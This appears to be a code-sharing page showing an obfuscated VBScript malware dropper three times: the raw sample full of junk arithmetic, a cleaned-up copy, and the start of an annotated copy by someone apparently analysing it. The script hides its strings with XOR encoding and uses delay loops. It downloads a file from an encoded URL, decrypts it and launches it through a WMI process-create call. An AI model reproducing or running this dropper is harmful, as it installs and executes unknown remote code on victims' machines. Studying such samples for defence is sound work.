| TMrEP8Z3="59"*"25" | |
| TMrEP8Z4="29"-"68" | |
| GH8XufmY="R1pfX" | |
| YR="54"*"13"*"64"*"36" | |
| SmhHxI9B="67"*"74"*"79"*"63" | |
| NiSB75DW="12"*"67" | |
| J4T="27" | |
| DB6ki="95" | |
| Al2ZKl="87" | |
| S7="65" | |
| S8="5" | |
| S9="86" | |
| YR0="69"+"95" | |
| YR1="16"-"82" | |
| YR2="81"*"57" | |
| YR3="31"*"83" | |
| YR4="26"-"50" | |
| SEt Pj9M1=JFj7Lk(YM("6623052A3B4104480B3A541C0A",GH8XufmY,(-4567+4580),(-9489+9494))) | |
| TzGHh="63"*"86"*"41"*"78" | |
| CWvpG="39"*"85"*"20"*"69" | |
| QqvOmU5q="20"*"42" | |
| RKEg0X6="30" | |
| Fwz0="65" | |
| MET0="33" | |
| S7="76" | |
| S8="45" | |
| S9="66" | |
| TzGHh0="77"+"70" | |
| TzGHh1="92"-"25" | |
| TzGHh2="53"*"68" | |
| TzGHh3="71"*"89" | |
| TzGHh4="35"-"25" | |
| Wgu="TZagjRpa" | |
| PZHjnnqV | |
| Qh9="2"*"96"*"40"*"82" | |
| G1SjdL="29"*"41"*"33"*"55" | |
| OxRl="62"*"17" | |
| EtyWzw1="58" | |
| C85G2TnB="61" | |
| SCICe="79" | |
| S7="97" | |
| S8="87" | |
| S9="44" | |
| Qh90="74"+"11" | |
| Qh91="49"-"86" | |
| Qh92="75"*"55" | |
| Qh93="16"*"33" | |
| Qh94="35"-"31" | |
| Set CGyhe=Pj9M1.EnvIRonMEnt(YM("1F1B1C29021C1A","GOISj",(1943-1936),(7108-7103))) | |
| ASOlV="68"*"77"*"49"*"62" | |
| OlO="75"*"8"*"59"*"57" | |
| WkkcN7="88"*"69" | |
| LHd="74" | |
| ViD="58" | |
| ITuLb6wo="7" | |
| S7="62" | |
| S8="22" | |
| S9="18" | |
| ASOlV0="82"+"60" | |
| ASOlV1="81"-"63" | |
| ASOlV2="90"*"11" | |
| ASOlV3="77"*"76" | |
| ASOlV4="52"-"52" | |
| RJFcDi3V=CGyhe(YM("2C322705280C2C","XmbwAi",(-2610+2617),(23148/3858))) & WjvWsJd((7155-7063))& Px7I & Px7I | |
| U935p="84"*"54"*"19"*"24" | |
| BuqNS8="63"*"18"*"27"*"54" | |
| UsK="73"*"14" | |
| Tm="40" | |
| TlcSrK="15" | |
| OnE1Gv="88" | |
| S7="41" | |
| S8="84" | |
| S9="81" | |
| U935p0="36"+"1" | |
| U935p1="34"-"7" | |
| U935p2="15"*"64" | |
| U935p3="15"*"37" | |
| U935p4="25"-"60" | |
| Fj="VkzOk7" | |
| B2="63"*"90"*"11"*"77" | |
| TK="76"*"52"*"52"*"5" | |
| XUmB4IQ="21"*"45" | |
| NPnNIhW="37" | |
| CKoZW5bA="97" | |
| IJ2iNl="43" | |
| S7="77" | |
| S8="1" | |
| S9="78" | |
| B20="73"+"61" | |
| B21="96"-"91" | |
| B22="35"*"4" | |
| B23="24"*"36" | |
| B24="28"-"50" | |
| sEt A8ZpmRm=JFj7Lk(YM("26132C195825041C3B456F1B27321B3F67",Fj,(122740/7220),(29706/4951))) | |
| VeD="4"*"32"*"73"*"50" | |
| Xl="68"*"14"*"4"*"60" | |
| J34W6Hrx="63"*"26" | |
| PnLE="65" | |
| UMd="75" | |
| BHIETh="90" | |
| S7="70" | |
| S8="32" | |
| S9="49" | |
| VeD0="50"+"47" | |
| VeD1="56"-"1" | |
| VeD2="14"*"28" | |
| VeD3="86"*"12" | |
| VeD4="10"-"41" | |
| if CmXo(A8ZpmRm,SoN) = 1 then | |
| OPtbf="31"*"76"*"40"*"96" | |
| RMV="27"*"89"*"2"*"39" | |
| D929="54"*"34" | |
| EbUlcj="94" | |
| Os="85" | |
| AuqbVT0="86" | |
| S7="83" | |
| S8="93" | |
| S9="64" | |
| OPtbf0="51"+"64" | |
| OPtbf1="23"-"74" | |
| OPtbf2="46"*"77" | |
| OPtbf3="84"*"89" | |
| OPtbf4="73"-"22" | |
| PZHjnnqV | |
| WSGq1="26"*"65"*"75"*"90" | |
| G1="70"*"32"*"49"*"50" | |
| Pc="47"*"56" | |
| CwT9v4T="1" | |
| JV="14" | |
| X2Qn="28" | |
| S7="86" | |
| S8="12" | |
| S9="10" | |
| WSGq10="41"+"48" | |
| WSGq11="53"-"37" | |
| WSGq12="85"*"15" | |
| WSGq13="1"*"69" | |
| WSGq14="35"-"39" | |
| CqYnQ6 = 7506 | |
| JoQhGPbY="77"*"91"*"49"*"1" | |
| GAFmo2k="73"*"4"*"11"*"17" | |
| W5Gy2Rp="1"*"48" | |
| TzHAHpu6="5" | |
| RxebrERl="63" | |
| QlGP="33" | |
| S7="25" | |
| S8="3" | |
| S9="42" | |
| JoQhGPbY0="24"+"6" | |
| JoQhGPbY1="33"-"52" | |
| JoQhGPbY2="19"*"19" | |
| JoQhGPbY3="93"*"67" | |
| JoQhGPbY4="20"-"63" | |
| Else | |
| Qm="56"*"81"*"31"*"31" | |
| EIpy="83"*"24"*"78"*"16" | |
| W5="75"*"22" | |
| Mtk="56" | |
| BAMl="7" | |
| QPLLff="57" | |
| S7="78" | |
| S8="67" | |
| S9="3" | |
| Qm0="70"+"14" | |
| Qm1="82"-"3" | |
| Qm2="15"*"7" | |
| Qm3="29"*"62" | |
| Qm4="90"-"5" | |
| Q1jK="Ca7l" | |
| WzPJndQ="52"*"19"*"19"*"93" | |
| TvGB="67"*"20"*"63"*"87" | |
| AxmlO1x="15"*"79" | |
| CSwj="13" | |
| AQJB="85" | |
| D0Fz3="93" | |
| S7="43" | |
| S8="20" | |
| S9="16" | |
| WzPJndQ0="4"+"39" | |
| WzPJndQ1="33"-"77" | |
| WzPJndQ2="19"*"66" | |
| WzPJndQ3="77"*"70" | |
| WzPJndQ4="92"-"98" | |
| If CmXo(A8ZpmRm,YM("094318335B18432A0F44042204590B2A0F52093108590B2A0F5319301545052612190F2C0C180426005342330A5B",Q1jK,(-9015+9061),(-8243+8247))) = 1 Then CqYnQ6 = 7506 | |
| KPkn="87"*"59"*"72"*"86" | |
| Y2B16="18"*"69"*"68"*"98" | |
| D3vi3="79"*"84" | |
| DDoLHVh="68" | |
| Loi0gl="17" | |
| LQ="72" | |
| S7="32" | |
| S8="28" | |
| S9="92" | |
| KPkn0="71"+"11" | |
| KPkn1="91"-"74" | |
| KPkn2="1"*"21" | |
| KPkn3="87"*"86" | |
| KPkn4="62"-"62" | |
| FRNL="56"*"63"*"68"*"52" | |
| BSFC="1"*"30"*"16"*"84" | |
| UabGc="50"*"54" | |
| RGOjT="93" | |
| B5K8c6p="49" | |
| AXKzZ6ts="58" | |
| S7="84" | |
| S8="5" | |
| S9="45" | |
| FRNL0="70"+"46" | |
| FRNL1="20"-"72" | |
| FRNL2="15"*"13" | |
| FRNL3="66"*"31" | |
| FRNL4="64"-"37" | |
| END if | |
| AywuH="94"*"21"*"41"*"8" | |
| FnyIjM="8"*"82"*"82"*"35" | |
| DfoCEVlC="52"*"75" | |
| LdzgB8I="30" | |
| GX0sQX="67" | |
| O1DBJhPC="28" | |
| S7="74" | |
| S8="9" | |
| S9="32" | |
| AywuH0="9"+"4" | |
| AywuH1="92"-"28" | |
| AywuH2="22"*"65" | |
| AywuH3="34"*"55" | |
| AywuH4="66"-"59" | |
| If CqYnQ6 = 7506 tHEN | |
| BzSTNIQJ="60"*"50"*"7"*"11" | |
| SU="73"*"12"*"22"*"38" | |
| B5="18"*"78" | |
| N5D="95" | |
| U1s4A7="96" | |
| Vf3zbUk="93" | |
| S7="4" | |
| S8="48" | |
| S9="61" | |
| BzSTNIQJ0="74"+"33" | |
| BzSTNIQJ1="58"-"56" | |
| BzSTNIQJ2="87"*"94" | |
| BzSTNIQJ3="84"*"32" | |
| BzSTNIQJ4="61"-"47" | |
| TwB A8ZpmRm.ReSPONSEBOdY | |
| YSn="20"*"51"*"58"*"63" | |
| LETE7="47"*"95"*"51"*"11" | |
| VVBMN="79"*"71" | |
| Mbvr="49" | |
| FTSoegSC="88" | |
| CRqGE4zr="70" | |
| S7="52" | |
| S8="79" | |
| S9="66" | |
| YSn0="65"+"41" | |
| YSn1="15"-"67" | |
| YSn2="10"*"34" | |
| YSn3="61"*"26" | |
| YSn4="59"-"32" | |
| END If | |
| PIiLw="43"*"36"*"3"*"29" | |
| OjO4="77"*"77"*"30"*"47" | |
| F8i="70"*"25" | |
| EkHv="62" | |
| YG4c="23" | |
| Mse9YJ="69" | |
| S7="4" | |
| S8="53" | |
| S9="4" | |
| PIiLw0="26"+"14" | |
| PIiLw1="49"-"17" | |
| PIiLw2="60"*"29" | |
| PIiLw3="50"*"61" | |
| PIiLw4="54"-"76" | |
| END FUNCTION | |
| Sub Al3VYw() | |
| CR0QzK=YM("6960302120192913243F3F29061E29393A113F","LKLtM",(-9565+9584),(13945/2789)) | |
| YoTV0="42"*"12"*"76"*"81" | |
| Bl4="21"*"75"*"84"*"11" | |
| OY="31"*"71" | |
| N9="97" | |
| MxbRHZR6="72" | |
| BfD="46" | |
| S7="98" | |
| S8="42" | |
| S9="39" | |
| YoTV00="93"+"57" | |
| YoTV01="91"-"64" | |
| YoTV02="72"*"22" | |
| YoTV03="72"*"93" | |
| YoTV04="82"-"18" | |
| AXK3Edr=RJFcDi3V & Px7I & YM("482D1B00","RfAy",(21868/5467),(130-126)) | |
| AP91YC="66"*"42"*"42"*"94" | |
| P04g="11"*"35"*"89"*"27" | |
| Gly67p="87"*"34" | |
| CFNNekeT="68" | |
| Tu62PlU="91" | |
| ADlpE9B8="68" | |
| S7="63" | |
| S8="52" | |
| S9="86" | |
| AP91YC0="81"+"25" | |
| AP91YC1="93"-"15" | |
| AP91YC2="26"*"18" | |
| AP91YC3="41"*"73" | |
| AP91YC4="75"-"17" | |
| Jx99cJb=YM("3B142C352A2552707164","FIaBQ",(-6312+6322),(39085/7817)) | |
| Whq="38"*"79"*"56"*"74" | |
| Ra="20"*"10"*"66"*"69" | |
| KHux="32"*"71" | |
| FVFo="81" | |
| Rg="97" | |
| VQF="76" | |
| S7="38" | |
| S8="55" | |
| S9="56" | |
| Whq0="53"+"62" | |
| Whq1="8"-"20" | |
| Whq2="34"*"92" | |
| Whq3="18"*"16" | |
| Whq4="47"-"54" | |
| BbxkTvm RJFcDi3V & YM("7B032000","LUDWa5Q",(10596/2649),(4152-4145)),AXK3Edr | |
| LD="75"*"17"*"19"*"37" | |
| GxhQb="82"*"46"*"3"*"33" | |
| FPNA="95"*"8" | |
| UhJto="45" | |
| CD8l8wg="60" | |
| AA="40" | |
| S7="1" | |
| S8="91" | |
| S9="92" | |
| LD0="89"+"70" | |
| LD1="57"-"71" | |
| LD2="29"*"80" | |
| LD3="53"*"83" | |
| LD4="90"-"96" | |
| XrJgZJXT="36"*"92"*"96"*"59" | |
| PL="97"*"8"*"24"*"4" | |
| Xx="64"*"81" | |
| Cgf="82" | |
| KcK52Z="79" | |
| LGV0Uw8="89" | |
| S7="34" | |
| S8="47" | |
| S9="60" | |
| XrJgZJXT0="19"+"44" | |
| XrJgZJXT1="43"-"73" | |
| XrJgZJXT2="80"*"85" | |
| XrJgZJXT3="70"*"18" | |
| XrJgZJXT4="47"-"33" | |
| N7GugK="S57AzK" | |
| NfnK="87"*"66"*"28"*"19" | |
| L6cNG="20"*"16"*"26"*"96" | |
| BCMt="83"*"97" | |
| U3uqW8pu="56" | |
| S1HI7WMZ="8" | |
| Spt6="79" | |
| S7="11" | |
| S8="18" | |
| S9="23" | |
| NfnK0="7"+"55" | |
| NfnK1="11"-"69" | |
| NfnK2="39"*"31" | |
| NfnK3="9"*"48" | |
| NfnK4="30"-"12" | |
| SeT TqJ=gEtObJECT(YM("1C130D0325060E1054390217130B3018150D0F3602150D22271D1F0F532B060A061C310414021A27165B3F326C37080C013637190A0334594034072C58483C3E300419061D31","Bkzcn",(239820/3426),(8945-8940))) | |
| OcNGcEH="32"*"34"*"52"*"98" | |
| CEIu="88"*"45"*"48"*"11" | |
| EdF75R="23"*"60" | |
| A6ohM="75" | |
| F7YPI="55" | |
| FHQ2Xoc="17" | |
| S7="7" | |
| S8="8" | |
| S9="5" | |
| OcNGcEH0="15"+"85" | |
| OcNGcEH1="98"-"13" | |
| OcNGcEH2="44"*"95" | |
| OcNGcEH3="94"*"26" | |
| OcNGcEH4="6"-"12" | |
| TqJ.creaTE Jx99cJb & AXK3Edr & CR0QzK | |
| GZL7QnLM="49"*"8"*"33"*"31" | |
| DVst="62"*"69"*"74"*"58" | |
| WeEws="7"*"36" | |
| TK1Qj="22" | |
| C9xpsOk="91" | |
| A7="56" | |
| S7="61" | |
| S8="1" | |
| S9="55" | |
| GZL7QnLM0="64"+"90" | |
| GZL7QnLM1="11"-"51" | |
| GZL7QnLM2="76"*"52" | |
| GZL7QnLM3="26"*"78" | |
| GZL7QnLM4="21"-"19" | |
| END SuB | |
| FUNCTION CmXo(QW7R, JkeHbX) | |
| oN ErRor reSUme nExT | |
| FNIhmc1="80"*"43"*"55"*"91" | |
| NgwUb0iE="8"*"87"*"48"*"39" | |
| FB="40"*"37" | |
| F1hk3="46" | |
| QIPsJ="18" | |
| NfXY="4" | |
| S7="18" | |
| S8="76" | |
| S9="28" | |
| FNIhmc10="31"+"38" | |
| FNIhmc11="43"-"27" | |
| FNIhmc12="75"*"31" | |
| FNIhmc13="89"*"59" | |
| FNIhmc14="51"-"29" | |
| QW7R.oPen YM("0E081D","MI",(-845+848),(-9178+9180)),JkeHbX,8750-8750 | |
| Q9chip="21"*"28"*"33"*"17" | |
| WHE4u2="65"*"94"*"79"*"49" | |
| RLL1C="15"*"19" | |
| Qn1l="58" | |
| GCL="14" | |
| Fotc="22" | |
| S7="49" | |
| S8="42" | |
| S9="9" | |
| Q9chip0="35"+"83" | |
| Q9chip1="84"-"36" | |
| Q9chip2="53"*"77" | |
| Q9chip3="31"*"69" | |
| Q9chip4="29"-"75" | |
| QW7R.seND | |
| KEx="95"*"76"*"59"*"85" | |
| GW5VuyN0="6"*"72"*"71"*"47" | |
| EUTxUNuf="21"*"73" | |
| DI4k="16" | |
| KWDeQms="40" | |
| GS4X="68" | |
| S7="32" | |
| S8="65" | |
| S9="39" | |
| KEx0="46"+"96" | |
| KEx1="73"-"68" | |
| KEx2="57"*"91" | |
| KEx3="86"*"30" | |
| KEx4="72"-"20" | |
| iF QW7R.sTaTUS=(-6630+6830) then | |
| T7E="82"*"15"*"43"*"58" | |
| ODroX2="61"*"79"*"25"*"15" | |
| SZaummKm="71"*"75" | |
| Sjme="38" | |
| GMDsf="50" | |
| NNxZc="86" | |
| S7="3" | |
| S8="82" | |
| S9="43" | |
| T7E0="34"+"35" | |
| T7E1="32"-"41" | |
| T7E2="13"*"25" | |
| T7E3="39"*"71" | |
| T7E4="23"-"21" | |
| CmXo=1 | |
| RLQegt2="41"*"71"*"7"*"46" | |
| PaO40im="82"*"71"*"51"*"13" | |
| OqLUJX="30"*"31" | |
| M4nL="28" | |
| OD="37" | |
| BzoX="9" | |
| S7="94" | |
| S8="9" | |
| S9="67" | |
| RLQegt20="92"+"90" | |
| RLQegt21="22"-"29" | |
| RLQegt22="34"*"18" | |
| RLQegt23="66"*"95" | |
| RLQegt24="81"-"50" | |
| END iF | |
| TI2E7="70"*"55"*"3"*"58" | |
| XZkMN="18"*"14"*"78"*"57" | |
| UgTr="96"*"77" | |
| GX1odhLe="60" | |
| EVOGE6sJ="86" | |
| EJ0="7" | |
| S7="73" | |
| S8="72" | |
| S9="48" | |
| TI2E70="48"+"1" | |
| TI2E71="18"-"41" | |
| TI2E72="95"*"33" | |
| TI2E73="93"*"40" | |
| TI2E74="74"-"97" | |
| END FUNCTION | |
| FUNCTION Nlfyy(WIKV,O3Fw) | |
| OJo6GHZ="94"*"37"*"83"*"68" | |
| VuikfXy="61"*"83"*"16"*"45" | |
| KVdO4m="85"*"62" | |
| Skiy="80" | |
| IN9BPN="26" | |
| UQPSSUxl="16" | |
| S7="72" | |
| S8="76" | |
| S9="39" | |
| OJo6GHZ0="77"+"87" | |
| OJo6GHZ1="4"-"83" | |
| OJo6GHZ2="44"*"61" | |
| OJo6GHZ3="62"*"59" | |
| OJo6GHZ4="69"-"14" | |
| Nlfyy=(WIKV anD nOt O3Fw)oR(nOt WIKV And O3Fw) | |
| AbMum="79"*"53"*"6"*"49" | |
| YhhTFHB="73"*"1"*"65"*"98" | |
| VvoD="71"*"79" | |
| KuOdV="29" | |
| UB6kl="7" | |
| LIpG="2" | |
| S7="89" | |
| S8="25" | |
| S9="19" | |
| AbMum0="63"+"5" | |
| AbMum1="52"-"63" | |
| AbMum2="56"*"78" | |
| AbMum3="84"*"13" | |
| AbMum4="54"-"57" | |
| END FUNCTION | |
| sUb TwB(OkYIHff) | |
| AU6JHSsE="3"*"92"*"93"*"90" | |
| Tz3K="1"*"71"*"84"*"98" | |
| K0v="30"*"81" | |
| Eq9Wg="80" | |
| Bws2="12" | |
| OoQzxH46="91" | |
| S7="97" | |
| S8="81" | |
| S9="29" | |
| AU6JHSsE0="85"+"44" | |
| AU6JHSsE1="40"-"6" | |
| AU6JHSsE2="83"*"23" | |
| AU6JHSsE3="5"*"86" | |
| AU6JHSsE4="14"-"33" | |
| DIM A2iAXdN1 | |
| DYZYxL="77"*"42"*"47"*"86" | |
| YdgVG="41"*"50"*"76"*"96" | |
| X4MF="37"*"62" | |
| VTgj="38" | |
| C8bL="12" | |
| VZDGarJ="64" | |
| S7="7" | |
| S8="5" | |
| S9="59" | |
| DYZYxL0="23"+"56" | |
| DYZYxL1="30"-"37" | |
| DYZYxL2="87"*"38" | |
| DYZYxL3="59"*"48" | |
| DYZYxL4="83"-"77" | |
| G6O1MbIU="DMqETj" | |
| XMGgP="53"*"21"*"20"*"95" | |
| T0DT1Ysk="95"*"48"*"64"*"88" | |
| RyavbxPP="42"*"80" | |
| QmC="40" | |
| YjhJ="86" | |
| IR="21" | |
| S7="44" | |
| S8="22" | |
| S9="17" | |
| XMGgP0="5"+"40" | |
| XMGgP1="34"-"78" | |
| XMGgP2="47"*"67" | |
| XMGgP3="78"*"71" | |
| XMGgP4="93"-"27" | |
| seT A2iAXdN1=JFj7Lk(YM("0C350A10286A1E0537310B29",G6O1MbIU,(-5894+5906),(41358/6893))) | |
| Moo="97"*"41"*"83"*"31" | |
| FbL="16"*"8"*"30"*"63" | |
| Ahyme="91"*"33" | |
| YoiINc="9" | |
| VcD6="27" | |
| AVGTA0="72" | |
| S7="62" | |
| S8="20" | |
| S9="23" | |
| Moo0="85"+"24" | |
| Moo1="35"-"50" | |
| Moo2="30"*"90" | |
| Moo3="9"*"10" | |
| Moo4="6"-"16" | |
| A2iAXdN1.OPEn | |
| Fb186vHt="72"*"90"*"36"*"56" | |
| R9S="86"*"49"*"61"*"97" | |
| VKd80="14"*"93" | |
| XGO1A="54" | |
| E1BJ="45" | |
| M4YZ9="46" | |
| S7="43" | |
| S8="52" | |
| S9="24" | |
| Fb186vHt0="10"+"24" | |
| Fb186vHt1="82"-"34" | |
| Fb186vHt2="6"*"37" | |
| Fb186vHt3="44"*"49" | |
| Fb186vHt4="33"-"81" | |
| A2iAXdN1.tYpe=7921-7920 | |
| A6k16n="95"*"27"*"34"*"39" | |
| N90H8vEJ="23"*"71"*"1"*"86" | |
| WZy="55"*"21" | |
| UtH0fm="25" | |
| Mm="64" | |
| IsWIj="20" | |
| S7="28" | |
| S8="55" | |
| S9="48" | |
| A6k16n0="16"+"41" | |
| A6k16n1="90"-"90" | |
| A6k16n2="43"*"59" | |
| A6k16n3="83"*"37" | |
| A6k16n4="75"-"35" | |
| FMTd3 A2iAXdN1,OkYIHff | |
| DWnCU="23"*"92"*"83"*"62" | |
| LIaT="2"*"82"*"65"*"91" | |
| TLxjT="12"*"78" | |
| KAs8c7i="78" | |
| IOzs="53" | |
| VNZIt="27" | |
| S7="79" | |
| S8="23" | |
| S9="46" | |
| DWnCU0="74"+"38" | |
| DWnCU1="72"-"45" | |
| DWnCU2="53"*"3" | |
| DWnCU3="79"*"74" | |
| DWnCU4="63"-"98" | |
| A2iAXdN1.SAVetOfiLe RJFcDi3V & YM("1E764E14","E019u6M",(-3604+3608),(11795/1685)),4745-4743 | |
| PnV="17"*"38"*"26"*"61" | |
| TF64E="29"*"73"*"42"*"62" | |
| VBryO="73"*"66" | |
| LHf6bf="88" | |
| UsMd9E="21" | |
| C7RCzq="50" | |
| S7="64" | |
| S8="67" | |
| S9="85" | |
| PnV0="31"+"21" | |
| PnV1="77"-"81" | |
| PnV2="44"*"56" | |
| PnV3="92"*"9" | |
| PnV4="88"-"49" | |
| A2iAXdN1.CLOse | |
| N3E="60"*"63"*"81"*"1" | |
| MONS="90"*"47"*"77"*"13" | |
| XsTmg1U="52"*"88" | |
| MleH="78" | |
| A7fK="58" | |
| Ez="19" | |
| S7="36" | |
| S8="37" | |
| S9="34" | |
| N3E0="43"+"15" | |
| N3E1="1"-"15" | |
| N3E2="73"*"98" | |
| N3E3="96"*"28" | |
| N3E4="35"-"40" | |
| Al3VYw | |
| RX4HuE="27"*"45"*"90"*"80" | |
| A9lnTn="37"*"40"*"3"*"15" | |
| JOqNJQ="52"*"68" | |
| V3f0="47" | |
| L4Y="9" | |
| FumDw="1" | |
| S7="96" | |
| S8="7" | |
| S9="77" | |
| RX4HuE0="90"+"5" | |
| RX4HuE1="37"-"88" | |
| RX4HuE2="86"*"18" | |
| RX4HuE3="98"*"4" | |
| RX4HuE4="87"-"36" | |
| END Sub | |
| FUNCTION WjvWsJd(TwBZ) | |
| MG="98"*"28"*"14"*"83" | |
| LoyjGv="48"*"53"*"92"*"47" | |
| Ft5gZ="56"*"82" | |
| ELlQ="3" | |
| Cj5t="43" | |
| JP0W="69" | |
| S7="44" | |
| S8="18" | |
| S9="70" | |
| MG0="14"+"11" | |
| MG1="65"-"29" | |
| MG2="63"*"36" | |
| MG3="44"*"93" | |
| MG4="44"-"65" | |
| WjvWsJd=chR(TwBZ) | |
| JP="10"*"49"*"31"*"13" | |
| PW="40"*"60"*"27"*"26" | |
| Fp4="2"*"2" | |
| BLFKaQXz="54" | |
| B9W16oi0="70" | |
| KCtGSoA="94" | |
| S7="49" | |
| S8="86" | |
| S9="46" | |
| JP0="92"+"27" | |
| JP1="50"-"28" | |
| JP2="23"*"11" | |
| JP3="46"*"40" | |
| JP4="84"-"53" | |
| END FUNCTION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DIM RJFcDi3V | |
| FUNCTION YM(GJC,WKO7,U8,Ab6F) | |
| DIM BFHAH,DABNC3F,S3Ms | |
| FOR BFHAH=1 TO U8 | |
| DABNC3F=(WjvWsJd((-883+921)) & WjvWsJd((-289+361))&(BzX(GJC,(BFHAH+BFHAH)-1,2))) | |
| S3Ms=(WW16Hzs9(BzX(WKO7,((WCTr(BFHAH,Ab6F))+1),1))) | |
| YM=YM+WjvWsJd(Nlfyy(DABNC3F,S3Ms)) | |
| NEXT | |
| END FUNCTION | |
| FUNCTION Px7I() | |
| Px7I=7118 | |
| END FUNCTION | |
| QIOw | |
| SUB FMTd3(UiAZ5, DEzQO) | |
| UiAZ5.Write DEzQO | |
| END SUB | |
| FUNCTION BzX(Kr,CB,IejE) | |
| BzX=mID(Kr,CB,IejE) | |
| END FUNCTION | |
| SUB QIOw() | |
| NyWWyx=99165178 | |
| FOR ShgFCwgT=1 TO NyWWyx | |
| JQk=JQk+1 | |
| NEXT | |
| IF JQk=NyWWyx THEN | |
| VDHyf="UFXt" | |
| J95(YM("2E2C00257C775B6170764562686C447B746A5B3D3F3D0D7B36361E",VDHyf,(236088/8744),(-8018+8022))) | |
| END IF | |
| END SUB | |
| FUNCTION WW16Hzs9(AQ4Si) | |
| WW16Hz | |
| END FUNCTION | |
| FUNCTION BbxkTvm(JA1hctDI,TLrAdJWp) | |
| DIM C9H0gUEP,XHTcEh,AdCiTR,TxG55fR(7) | |
| TxG55fR(4)=119 | |
| TxG55fR(7)=115 | |
| TxG55fR(5)=115 | |
| TxG55fR(2)=118 | |
| TxG55fR(3)=103 | |
| TxG55fR(0)=115 | |
| TxG55fR(6)=55 | |
| TxG55fR(1)=107 | |
| SET C9H0gUEP=JFj7Lk(YM("212F43253A06255F2B6434255D29190B3F4529273D2E5B292906", "JrL1L",(-7448+7474),(6757-6752))) | |
| SET AdCiTR=C9H0gUEP.OpenTextFile(JA1hctDI,9535-9534,8294-8294) | |
| SET XHTcEh=C9H0gUEP.CreateTextFile(TLrAdJWp,7933-7932,9001-9001) | |
| ON ERROR RESUME NEXT | |
| DO | |
| YQk=AdCiTR.reaD(9616-9615) | |
| IF ERR.NUMBER = 0 THEN | |
| FMTd3 XHTcEh,WjvWsJd(Nlfyy(WW16Hzs9(YQk),TxG55fR(0))) | |
| END IF | |
| LOOP UNTIL ERR.NUMBER <> 0 | |
| XHTcEh.CLOSE | |
| AdCiTR.CLOSE | |
| END FUNCTION | |
| FUNCTION Bqkm() | |
| DIM CgfA1 | |
| CgfA1 = Second(Now) | |
| DIM CgfA2 | |
| CgfA2 = Fix(681.42) | |
| DIM CgfA3 | |
| CgfA3 = Second(Now) | |
| DIM CgfA4 | |
| CgfA4 = Month(219) | |
| DIM CgfA5 | |
| IF CgfA5 = "420" THEN DoEvents | |
| DIM CgfA6 | |
| CgfA6 = CByte(54) | |
| DIM CgfA7 | |
| CgfA7 = Weekday(405) | |
| DIM CgfA8 | |
| IF CgfA8 = "928" THEN CgfA8 = EOF(406) | |
| END FUNCTION | |
| FUNCTION JFj7Lk(Xmd) | |
| SET JFj7Lk=CreateObject(Xmd) | |
| END FUNCTION | |
| SUB PZHjnnqV() | |
| DIM BV65E7N,J60jdN | |
| FOR BV65E7N = 96 TO 4000381 | |
| J60jdN = GGL + 81 + 46 + 51 | |
| NEXT | |
| END SUB | |
| FUNCTION WCTr(Kn3OXJG, Il) | |
| WCTr = Kn3OXJG - (Il * (Kn3OXJG \ Il)) | |
| END FUNCTION | |
| FUNCTION J95(SoN) | |
| DIM Pj9M1,A8ZpmRm,CqYnQ6 | |
| D3vm="GCZ9Ef" | |
| GH8XufmY="R1pfX" | |
| SET Pj9M1=JFj7Lk(YM("6623052A3B4104480B3A541C0A",GH8XufmY,(-4567+4580),(-9489+9494))) | |
| Wgu="TZagjRpa" | |
| PZHjnnqV | |
| SET CGyhe=Pj9M1.EnvIRonMEnt(YM("1F1B1C29021C1A","GOISj",(1943-1936),(7108-7103))) | |
| RJFcDi3V=CGyhe(YM("2C322705280C2C","XmbwAi",(-2610+2617),(23148/3858))) & WjvWsJd((7155-7063))& Px7I & Px7I | |
| Fj="VkzOk7" | |
| SET A8ZpmRm=JFj7Lk(YM("26132C195825041C3B456F1B27321B3F67",Fj,(122740/7220),(29706/4951))) | |
| IF CmXo(A8ZpmRm,SoN) = 1 THEN | |
| PZHjnnqV | |
| CqYnQ6 = 7506 | |
| Else | |
| Q1jK="Ca7l" | |
| IF CmXo(A8ZpmRm,YM("094318335B18432A0F44042204590B2A0F52093108590B2A0F5319301545052612190F2C0C180426005342330A5B",Q1jK,(-9015+9061),(-8243+8247))) = 1 THEN CqYnQ6 = 7506 | |
| END IF | |
| IF CqYnQ6 = 7506 THEN | |
| TwB A8ZpmRm.ReSPONSEBOdY | |
| END IF | |
| END FUNCTION | |
| SUB Al3VYw() | |
| CR0QzK=YM("6960302120192913243F3F29061E29393A113F","LKLtM",(-9565+9584),(13945/2789)) | |
| AXK3Edr=RJFcDi3V & Px7I & YM("482D1B00","RfAy",(21868/5467),(130-126)) | |
| Jx99cJb=YM("3B142C352A2552707164","FIaBQ",(-6312+6322),(39085/7817)) | |
| BbxkTvm RJFcDi3V & YM("7B032000","LUDWa5Q",(10596/2649),(4152-4145)),AXK3Edr | |
| N7GugK="S57AzK" | |
| SET TqJ=GetObject(YM("1C130D0325060E1054390217130B3018150D0F3602150D22271D1F0F532B060A061C310414021A27165B3F326C37080C013637190A0334594034072C58483C3E300419061D31","Bkzcn",(239820/3426),(8945-8940))) | |
| TqJ.Create Jx99cJb & AXK3Edr & CR0QzK | |
| END SUB | |
| FUNCTION CmXo(QW7R, JkeHbX) | |
| ON ERROR RESUME NEXT | |
| QW7R.Open YM("0E081D","MI",(-845+848),(-9178+9180)),JkeHbX,8750-8750 | |
| QW7R.Send | |
| IF QW7R.Status=(-6630+6830) THEN | |
| CmXo=1 | |
| END IF | |
| END FUNCTION | |
| FUNCTION Nlfyy(WIKV,O3Fw) | |
| Nlfyy=(WIKV AND NOT O3Fw) OR (NOT WIKV AND O3Fw) | |
| END FUNCTION | |
| SUB TwB(OkYIHff) | |
| DIM A2iAXdN1 | |
| G6O1MbIU="DMqETj" | |
| SET A2iAXdN1=JFj7Lk(YM("0C350A10286A1E0537310B29",G6O1MbIU,(-5894+5906),(41358/6893))) | |
| A2iAXdN1.Open | |
| A2iAXdN1.Type=7921-7920 | |
| FMTd3 A2iAXdN1,OkYIHff | |
| A2iAXdN1.SaveToFile RJFcDi3V & YM("1E764E14","E019u6M",(-3604+3608),(11795/1685)),4745-4743 | |
| A2iAXdN1.Close | |
| Al3VYw | |
| END SUB | |
| FUNCTION WjvWsJd(TwBZ) | |
| WjvWsJd=chR(TwBZ) | |
| END FUNCTION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DIM RJFcDi3V | |
| ' Some kind of function name decoder? | |
| FUNCTION YM(GJC,WKO7,U8,Ab6F) | |
| DIM BFHAH,DABNC3F,S3Ms | |
| FOR BFHAH=1 TO U8 | |
